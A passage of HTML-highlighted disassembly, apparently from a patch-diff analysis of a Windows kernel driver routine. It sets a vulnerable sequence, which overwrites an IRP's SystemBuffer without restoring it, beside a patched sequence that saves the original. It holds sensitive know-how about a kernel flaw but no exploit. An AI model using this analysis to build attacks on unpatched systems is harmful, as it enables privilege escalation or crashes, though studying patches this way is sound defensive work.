&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device_extension&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x68&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WDF_REQUEST_SEND_OPTION_SYNCHRONOUS&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093DB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;Sys&lt;/span&gt;&lt;span class="n"&gt;temBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;SAVE&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="n"&gt;C220h&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;O&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;devext&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RequestSend&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;synchronous&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="n"&gt;ward&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009400&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_0&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;restore&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callee&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;save&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009405&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009407&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C000940B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C000940C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Sys&lt;/span&gt;&lt;span class="n"&gt;temBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;restore&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched (&lt;code&gt;RequestHandleVolumeOnline @ 0x1C0009328&lt;/code&gt;, key sequence)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="n"&gt;E8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WdfRequestWdmGetIrp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093C7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device_extension&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x68&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;SAVE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="n"&gt;iginal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;Sys&lt;/span&gt;&lt;span class="n"&gt;temBuffer&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temporary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="n"&gt;C220h&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009404&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009407&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C000940B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RequestSend&lt;/span&gt;
